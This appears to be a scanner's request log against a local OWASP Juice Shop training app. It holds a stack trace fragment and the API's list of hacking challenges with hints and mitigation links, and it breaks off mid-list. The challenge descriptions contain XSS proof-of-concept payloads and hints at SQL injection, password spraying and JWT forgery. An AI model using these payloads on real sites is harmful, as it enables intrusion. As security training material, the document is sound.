(/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
GET http://localhost:3000/api/Challenges HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nETag: W/"134ae-58cY6XQoGh8ShaQy2ealRYuOSS0"\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:54 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'{"status":"success","data":[{"id":1,"key":"restfulXssChallenge","name":"API-only XSS","category":"XSS","tags":"Danger Zone","description":"Perform a <i>persisted</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code> without using the frontend application at all.","difficulty":3,"hint":"You need to work with the server-side API directly. Try different HTTP verbs on different entities exposed through the API.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_persisted_xss_attack_without_using_the_frontend_application_at_all","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.108Z","updatedAt":"2024-03-05T22:20:43.108Z"},{"id":2,"key":"accessLogDisclosureChallenge","name":"Access Log","category":"Sensitive Data Exposure","tags":null,"description":"Gain access to any access log file of the server.","difficulty":4,"hint":"Who would want a server access log to be accessible through a web application?","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_gain_access_to_any_access_log_file_of_the_server","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.111Z","updatedAt":"2024-03-05T22:20:43.111Z"},{"id":3,"key":"registerAdminChallenge","name":"Admin Registration","category":"Improper Input Validation","tags":null,"description":"Register as a user with administrator privileges.","difficulty":3,"hint":"You have to assign the unassignable.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_register_as_a_user_with_administrator_privileges","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.112Z","updatedAt":"2024-03-05T22:20:43.112Z"},{"id":4,"key":"adminSectionChallenge","name":"Admin Section","category":"Broken Access Control","tags":"Good for Demos","description":"Access the administration section of the store.","difficulty":2,"hint":"It is just slightly harder to find than the score board link.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_access_the_administration_section_of_the_store","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.114Z","updatedAt":"2024-03-05T22:20:43.114Z"},{"id":5,"key":"fileWriteChallenge","name":"Arbitrary File Write","category":"Vulnerable Components","tags":"Danger Zone,Prerequisite","description":"Overwrite the <a href=\\"/ftp/legal.md\\">Legal Information</a> file.","difficulty":6,"hint":"Look out for a tweet praising new functionality of the web shop. Then find a third party vulnerability associated with it.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_overwrite_the_legal_information_file","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.114Z","updatedAt":"2024-03-05T22:20:43.114Z"},{"id":6,"key":"resetPasswordBjoernOwaspChallenge","name":"Bjoern\'s Favorite Pet","category":"Broken Authentication","tags":"OSINT","description":"Reset the password of Bjoern\'s OWASP account via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":3,"hint":"He might have trumpeted it on at least one occasion where a camera was running. Maybe elsewhere as well.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_reset_the_password_of_bjoerns_owasp_account_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.114Z","updatedAt":"2024-03-05T22:20:43.114Z"},{"id":7,"key":"tokenSaleChallenge","name":"Blockchain Hype","category":"Security through Obscurity","tags":"Contraption,Code Analysis,Web3","description":"Learn about the Token Sale before its official announcement.","difficulty":5,"hint":"The developers truly believe in \\"Security through Obscurity\\" over actual access restrictions.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-through-obscurity.html#_learn_about_the_token_sale_before_its_official_announcement","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.124Z","updatedAt":"2024-03-05T22:20:43.124Z"},{"id":8,"key":"nftUnlockChallenge","name":"NFT Takeover","category":"Sensitive Data Exposure","tags":"Contraption,Good for Demos,Web3","description":"Take over the wallet containing our official Soul Bound Token (NFT).","difficulty":2,"hint":"Find the seed phrase posted accidentally.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_take_over_the_wallet_containing_our_official_soul_bound_token","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.129Z","updatedAt":"2024-03-05T22:20:43.129Z"},{"id":9,"key":"nftMintChallenge","name":"Mint the Honey Pot","category":"Improper Input Validation","tags":"Web3,Internet Traffic","description":"Mint the Honey Pot NFT by gathering BEEs from the bee haven.","difficulty":3,"hint":"Discover NFT wonders among the captivating visual memories.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_mint_the_honey_pot_nft_by_gathering_bees_from_the_bee_haven","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.130Z","updatedAt":"2024-03-05T22:20:43.130Z"},{"id":10,"key":"web3WalletChallenge","name":"Wallet Depletion","category":"Miscellaneous","tags":"Web3,Internet Traffic","description":"Withdraw more ETH from the new wallet than you deposited.","difficulty":6,"hint":"Try to exploit the contract of the wallet.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/miscellaneous.html#_withdraw_more_eth_from_the_new_wallet_than_you_deposited","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.140Z","updatedAt":"2024-03-05T22:20:43.140Z"},{"id":11,"key":"web3SandboxChallenge","name":"Web3 Sandbox","category":"Broken Access Control","tags":"Web3","description":"Find an accidentally deployed code sandbox for writing smart contracts on the fly.","difficulty":1,"hint":"It is just as easy as finding the Score Board.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_find_an_accidentally_deployed_code_sandbox","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.144Z","updatedAt":"2024-03-05T22:20:43.144Z"},{"id":12,"key":"rceChallenge","name":"Blocked RCE DoS","category":"Insecure Deserialization","tags":"Danger Zone","description":"Perform a Remote Code Execution that would keep a less hardened application busy <em>forever</em>.","difficulty":5,"hint":"The feature you need to exploit for this challenge is not directly advertised anywhere.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/insecure-deserialization.html#_perform_a_remote_code_execution_that_would_keep_a_less_hardened_application_busy_forever","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.148Z","updatedAt":"2024-03-05T22:20:43.148Z"},{"id":13,"key":"captchaBypassChallenge","name":"CAPTCHA Bypass","category":"Broken Anti Automation","tags":"Brute Force","description":"Submit 10 or more customer feedbacks within 20 seconds.","difficulty":3,"hint":"After finding a CAPTCHA bypass, write a script that automates feedback submission. Or open many browser tabs and be really quick.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-anti-automation.html#_submit_10_or_more_customer_feedbacks_within_20_seconds","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.148Z","updatedAt":"2024-03-05T22:20:43.148Z"},{"id":14,"key":"changePasswordBenderChallenge","name":"Change Bender\'s Password","category":"Broken Authentication","tags":null,"description":"Change Bender\'s password into <i>slurmCl4ssic</i> without using SQL Injection or Forgot Password.","difficulty":5,"hint":"In previous releases this challenge was wrongly accused of being based on CSRF.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_change_benders_password_into_slurmcl4ssic_without_using_sql_injection_or_forgot_password","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.156Z","updatedAt":"2024-03-05T22:20:43.156Z"},{"id":15,"key":"christmasSpecialChallenge","name":"Christmas Special","category":"Injection","tags":null,"description":"Order the Christmas special offer of 2014.","difficulty":4,"hint":"Find out how the application handles unavailable products and try to find a loophole.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_order_the_christmas_special_offer_of_2014","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.158Z","updatedAt":"2024-03-05T22:20:43.158Z"},{"id":16,"key":"usernameXssChallenge","name":"CSP Bypass","category":"XSS","tags":"Danger Zone","description":"Bypass the Content Security Policy and perform an XSS attack with <code><script>alert(`xss`)</script></code> on a legacy page within the application.","difficulty":4,"hint":"What is even \\"better\\" than a legacy page with a homegrown RegEx sanitizer? Having CSP injection issues on the exact same page as well!","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_bypass_the_content_security_policy_and_perform_an_xss_attack_on_a_legacy_page","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.158Z","updatedAt":"2024-03-05T22:20:43.158Z"},{"id":17,"key":"persistedXssUserChallenge","name":"Client-side XSS Protection","category":"XSS","tags":"Danger Zone","description":"Perform a <i>persisted</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code> bypassing a <i>client-side</i> security mechanism.","difficulty":3,"hint":"Only some input fields validate their input. Even less of these are persisted in a way where their content is shown on another screen.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_persisted_xss_attack_bypassing_a_client_side_security_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.163Z","updatedAt":"2024-03-05T22:20:43.163Z"},{"id":18,"key":"directoryListingChallenge","name":"Confidential Document","category":"Sensitive Data Exposure","tags":"Good for Demos","description":"Access a confidential document.","difficulty":1,"hint":"Analyze and tamper with links in the application that deliver a file directly.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_access_a_confidential_document","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.163Z","updatedAt":"2024-03-05T22:20:43.163Z"},{"id":19,"key":"localXssChallenge","name":"DOM XSS","category":"XSS","tags":"Tutorial,Good for Demos","description":"Perform a <i>DOM</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code>.","difficulty":1,"hint":"Look for an input field where its content appears in the HTML when its form is submitted.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_dom_xss_attack","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":2,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.163Z","updatedAt":"2024-03-05T22:20:43.163Z"},{"id":20,"key":"dbSchemaChallenge","name":"Database Schema","category":"Injection","tags":null,"description":"Exfiltrate the entire DB schema definition via SQL Injection.","difficulty":3,"hint":"Find out where this information could come from. Then craft a UNION SELECT attack string against an endpoint that offers an unnecessary way to filter data.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_exfiltrate_the_entire_db_schema_definition_via_sql_injection","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":21,"key":"deprecatedInterfaceChallenge","name":"Deprecated Interface","category":"Security Misconfiguration","tags":"Contraption,Prerequisite","description":"Use a deprecated B2B interface that was not properly shut down.","difficulty":2,"hint":"The developers who disabled the interface think they could go invisible by just closing their eyes.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-misconfiguration.html#_use_a_deprecated_b2b_interface_that_was_not_properly_shut_down","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":22,"key":"easterEggLevelOneChallenge","name":"Easter Egg","category":"Broken Access Control","tags":"Shenanigans,Contraption,Good for Demos","description":"Find the hidden <a href=\\"https://en.wikipedia.org/wiki/Easter_egg_(media)\\" target=\\"_blank\\">easter egg</a>.","difficulty":4,"hint":"If you solved one of the three file access challenges, you already know where to find the easter egg.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_find_the_hidden_easter_egg","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":23,"key":"emailLeakChallenge","name":"Email Leak","category":"Sensitive Data Exposure","tags":null,"description":"Perform an unwanted information disclosure by accessing data cross-domain.","difficulty":5,"hint":"Try to find and attack an endpoint that responds with user information. SQL Injection is not the solution here.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_perform_an_unwanted_information_disclosure_by_accessing_data_cross_domain","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/XS_Leaks_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":24,"key":"emptyUserRegistration","name":"Empty User Registration","category":"Improper Input Validation","tags":null,"description":"Register a user with an empty email and password.","difficulty":2,"hint":"Consider intercepting and playing with the request payload.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_register_a_user_account_with_an_empty_email_and_password","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":25,"key":"ephemeralAccountantChallenge","name":"Ephemeral Accountant","category":"Injection","tags":null,"description":"Log in with the (non-existing) accountant <i>acc0unt4nt@juice-sh.op</i> without ever registering that user.","difficulty":4,"hint":"Try to create the needed user \\"out of thin air\\".","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_log_in_with_the_non_existing_accountant_without_ever_registering_that_user","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.173Z","updatedAt":"2024-03-05T22:20:43.173Z"},{"id":26,"key":"errorHandlingChallenge","name":"Error Handling","category":"Security Misconfiguration","tags":"Prerequisite","description":"Provoke an error that is neither very gracefully nor consistently handled.","difficulty":1,"hint":"Try to submit bad input to forms. Alternatively tamper with URL paths or parameters.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/security-misconfiguration.html#_provoke_an_error_that_is_neither_very_gracefully_nor_consistently_handled","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Error_Handling_Cheat_Sheet.html","solved":true,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.176Z","updatedAt":"2024-03-05T22:26:53.651Z"},{"id":27,"key":"manipulateClockChallenge","name":"Expired Coupon","category":"Improper Input Validation","tags":null,"description":"Successfully redeem an expired campaign coupon code.","difficulty":4,"hint":"Try to identify past special event or holiday campaigns of the shop first.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_successfully_redeem_an_expired_campaign_coupon_code","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.176Z","updatedAt":"2024-03-05T22:20:43.176Z"},{"id":28,"key":"extraLanguageChallenge","name":"Extra Language","category":"Broken Anti Automation","tags":"Brute Force","description":"Retrieve the language file that never made it into production.","difficulty":5,"hint":"Brute force is not the only option for this challenge, but a perfectly viable one.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-anti-automation.html#_retrieve_the_language_file_that_never_made_it_into_production","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":29,"key":"feedbackChallenge","name":"Five-Star Feedback","category":"Broken Access Control","tags":null,"description":"Get rid of all 5-star customer feedback.","difficulty":2,"hint":"Once you found admin section of the application, this challenge is almost trivial.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_get_rid_of_all_5_star_customer_feedback","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":30,"key":"forgedCouponChallenge","name":"Forged Coupon","category":"Cryptographic Issues","tags":"Good for Demos,Code Analysis","description":"Forge a coupon code that gives you a discount of at least 80%.","difficulty":6,"hint":"Try either a) a knowledgeable brute force attack or b) reverse engineering or c) some research in the cloud.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_forge_a_coupon_code_that_gives_you_a_discount_of_at_least_80","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":31,"key":"forgedFeedbackChallenge","name":"Forged Feedback","category":"Broken Access Control","tags":"Tutorial","description":"Post some feedback in another user\'s name.","difficulty":3,"hint":"You can solve this by tampering with the user interface or by intercepting the communication with the RESTful backend.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_post_some_feedback_in_another_users_name","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":8,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":32,"key":"forgedReviewChallenge","name":"Forged Review","category":"Broken Access Control","tags":null,"description":"Post a product review as another user or edit any user\'s existing review.","difficulty":3,"hint":"Observe the flow of product review posting and editing and see if you can exploit it.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_post_a_product_review_as_another_user_or_edit_any_users_existing_review","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":33,"key":"jwtForgedChallenge","name":"Forged Signed JWT","category":"Vulnerable Components","tags":null,"description":"Forge an almost properly RSA-signed JWT token that impersonates the (non-existing) user <i>rsa_lord@juice-sh.op</i>.","difficulty":6,"hint":"This challenge is explicitly not about acquiring the RSA private key used for JWT signing.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_forge_an_almost_properly_rsa_signed_jwt_token","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":34,"key":"forgottenDevBackupChallenge","name":"Forgotten Developer Backup","category":"Sensitive Data Exposure","tags":"Contraption,Good for Demos,Prerequisite","description":"Access a developer\'s forgotten backup file.","difficulty":4,"hint":"You need to trick a security mechanism into thinking that the file you want has a valid file type.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_access_a_developers_forgotten_backup_file","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":35,"key":"forgottenBackupChallenge","name":"Forgotten Sales Backup","category":"Sensitive Data Exposure","tags":"Contraption","description":"Access a salesman\'s forgotten backup file.","difficulty":4,"hint":"You need to trick a security mechanism into thinking that the file you want has a valid file type.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_access_a_salesmans_forgotten_backup_file","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":36,"key":"typosquattingAngularChallenge","name":"Frontend Typosquatting","category":"Vulnerable Components","tags":null,"description":"<a href=\\"/#/contact\\">Inform the shop</a> about a <i>typosquatting</i> imposter that dug itself deep into the frontend. (Mention the exact name of the culprit)","difficulty":5,"hint":"This challenge has nothing to do with mistyping web domains. There is no conveniently misplaced file helping you with this one either. Or is there?","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_inform_the_shop_about_a_typosquatting_imposter_that_dug_itself_deep_into_the_frontend","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":37,"key":"ghostLoginChallenge","name":"GDPR Data Erasure","category":"Broken Authentication","tags":null,"description":"Log in with Chris\' erased user account.","difficulty":3,"hint":"Turns out that something is technically and legally wrong with the implementation of the \\"right to be forgotten\\" for users.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-authentication.html#_log_in_with_chris_erased_user_account","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":38,"key":"dataExportChallenge","name":"GDPR Data Theft","category":"Sensitive Data Exposure","tags":null,"description":"Steal someone else\'s personal data without using Injection.","difficulty":4,"hint":"Trick the regular Data Export to give you more than actually belongs to you.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_steal_someone_elses_personal_data_without_using_injection","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":39,"key":"httpHeaderXssChallenge","name":"HTTP-Header XSS","category":"XSS","tags":"Danger Zone","description":"Perform a <i>persisted</i> XSS attack with <code><iframe src=\\"javascript:alert(`xss`)\\"></code> through an HTTP header.","difficulty":4,"hint":"Finding a piece of displayed information that could originate from an HTTP header is part of this challenge.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_perform_a_persisted_xss_attack_through_an_http_header","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":40,"key":"continueCodeChallenge","name":"Imaginary Challenge","category":"Cryptographic Issues","tags":"Shenanigans,Code Analysis","description":"Solve challenge #999. Unfortunately, this challenge does not exist.","difficulty":6,"hint":"You need to trick the hacking progress persistence feature into thinking you solved challenge #999.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_solve_challenge_999","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":41,"key":"dlpPasswordSprayingChallenge","name":"Leaked Access Logs","category":"Sensitive Data Exposure","tags":"OSINT","description":"Dumpster dive the Internet for a leaked password and log in to the original user account it belongs to. (Creating a new account with the same password does not qualify as a solution.)","difficulty":5,"hint":"Once you have it, a technique called \\"Password Spraying\\" might prove useful.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_dumpster_dive_the_internet_for_a_leaked_password_and_log_in_to_the_original_user_account_it_belongs_to","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":42,"key":"dlpPastebinDataLeakChallenge","name":"Leaked Unsafe Product","category":"Sensitive Data Exposure","tags":"Shenanigans,OSINT","description":"Identify an unsafe product that was removed from the shop and <a href=\\"/#/contact\\">inform the shop</a> which ingredients are dangerous.","difficulty":4,"hint":"Your own SQLi and someone else\'s Ctrl-V will be your accomplices in this challenge!","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_identify_an_unsafe_product_that_was_removed_from_the_shop_and_inform_the_shop_which_ingredients_are_dangerous","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.177Z","updatedAt":"2024-03-05T22:20:43.177Z"},{"id":43,"key":"typosquattingNpmChallenge","name":"Legacy Typosquatting","category":"Vulnerable Components","tags":null,"description":"<a href=\\"/#/contact\\">Inform the shop</a> about a <i>typosquatting</i> trick it has been a victim of at least in <code>v6.2.0-SNAPSHOT</code>. (Mention the exact name of the culprit)","difficulty":4,"hint":"This challenge has nothing to do with mistyping web domains. Investigate the forgotten developer\'s backup file 